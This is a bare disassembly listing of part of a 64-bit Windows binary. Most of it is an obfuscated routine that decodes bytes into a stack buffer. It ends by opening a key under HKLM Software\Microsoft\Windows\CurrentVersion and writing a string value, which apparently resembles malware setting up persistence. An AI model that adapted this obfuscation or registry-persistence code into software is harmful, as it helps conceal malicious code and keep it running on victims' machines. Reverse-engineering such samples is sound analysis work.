inc rbx
jmp 0x140211ad2
lea edx, [rbx + 0x1b]
movzx ecx, r10b
and cl, dl
dec rbx
add cl, cl
sub r10b, cl
lea r11d, [rdx + r10]
add r11b, 0x43
inc rbx
jmp 0x140211ad2
movzx edi, bl
movzx ecx, r10b
movzx r11d, r10b
lea r8d, [rdi + 0x17]
and cl, r8b
add cl, cl
sub r11b, cl
add r11b, 0x5f
add r11b, r8b
add dil, 0x67
inc r9
movzx ecx, dil
and cl, r10b
add cl, cl
sub dil, cl
add dil, 0x2f
add dil, r10b
mov byte [rbp + rbx - 0x19], dil
dec rbx
inc rbx
movabs rdi, 0x38b77a91c23c9903
jmp 0x140211ad2
lea edx, [rbx + 0x11]
movzx ecx, r10b
and cl, dl
add cl, cl
sub r10b, cl
lea r11d, [rdx + r10]
sub r11b, 0x77
inc r9
dec rbx
inc rbx
jmp 0x140211ad2
movzx edi, bl
movzx ecx, r10b
movzx r11d, r10b
lea r8d, [rdi + 0xd]
and cl, r8b
add cl, cl
sub r11b, cl
sub r11b, 0x5b
add r11b, r8b
add dil, 0x69
movzx ecx, dil
and cl, r10b
add cl, cl
sub dil, cl
add dil, 0x21
add dil, r10b
add dil, r11b
mov byte [rbp + rbx - 0x19], dil
movabs rdi, 0x38b77a91c23c9903
movzx ecx, r11b
mov rdx, r14
sub rdx, rcx
add rax, r9
add rbx, rdx
inc rbx
jmp 0x140211ad2
add rdx, rbx
movzx ecx, r8b
and cl, dl
add cl, cl
sub r8b, cl
lea r11d, [rdx + r8]
sub r11b, 0x3f
movzx ecx, r11b
mov rdx, r14
sub rdx, rcx
add rbx, rdx
inc rbx
jmp 0x140211ad2
movabs rcx, 0xb3dc76f2ee64ff05
add rcx, rbx
and r8b, cl
add r8b, r8b
sub cl, r8b
lea r11d, [r10 + rcx]
sub r11b, 0x23
lea r8d, [rbx + 0x6c]
inc rax
movzx ecx, r8b
mov edx, 6
and cl, r10b
sub dl, cl
mov rcx, r14
sub rcx, rax
add dl, dl
add dl, r8b
add dl, r10b
mov byte [rbp + rbx - 0x19], dl
add rbx, rcx
movzx ecx, byte [rbp + rbx - 0x19]
add rcx, r9
add rbx, rcx
inc rbx
jmp 0x140211ad2
lea rdx, [rbx + rdi]
movzx ecx, r8b
and cl, dl
add cl, cl
sub r8b, cl
lea r11d, [rdx + r8]
sub r11b, 0x15
movzx ecx, byte [rbp + rbx - 0x19]
add rcx, r9
add rbx, rcx
inc rbx
jmp 0x140211ad2
sub bl, 0x7b
movzx ecx, r10b
and cl, bl
add cl, cl
sub r10b, cl
lea r11d, [rbx + r10]
add r11b, 0x5d
jmp 0x140211ac7
sub bl, 0x7d
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
add r11b, 0x6b
jmp 0x140211ac1
lea rbx, [rbp + 0x1524493]
jmp 0x14021244c
lea rbx, [rbp + 0x667794]
jmp 0x14021244c
lea rbx, [rbp - 0x19]
xor ecx, ecx
lea rax, [rbp + 0x67]
mov qword [rsp + 0x40], rcx
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersion
mov qword [rsp + 0x38], rax
xor r9d, r9d
mov qword [rsp + 0x30], rcx
xor r8d, r8d
mov dword [rsp + 0x28], 0x20006
mov dword [rsp + 0x20], ecx
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x1402124ce
nop dword [rax + rax]
cmp word [rbx + r14*2 + 2], 0
lea r14, [r14 + 1]
jne 0x140212490
mov rcx, qword [rbp + 0x67]
lea eax, [r14*2 + 2]
mov dword [rsp + 0x28], eax
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], rbx
mov rdx, rsi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp + 0x67]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret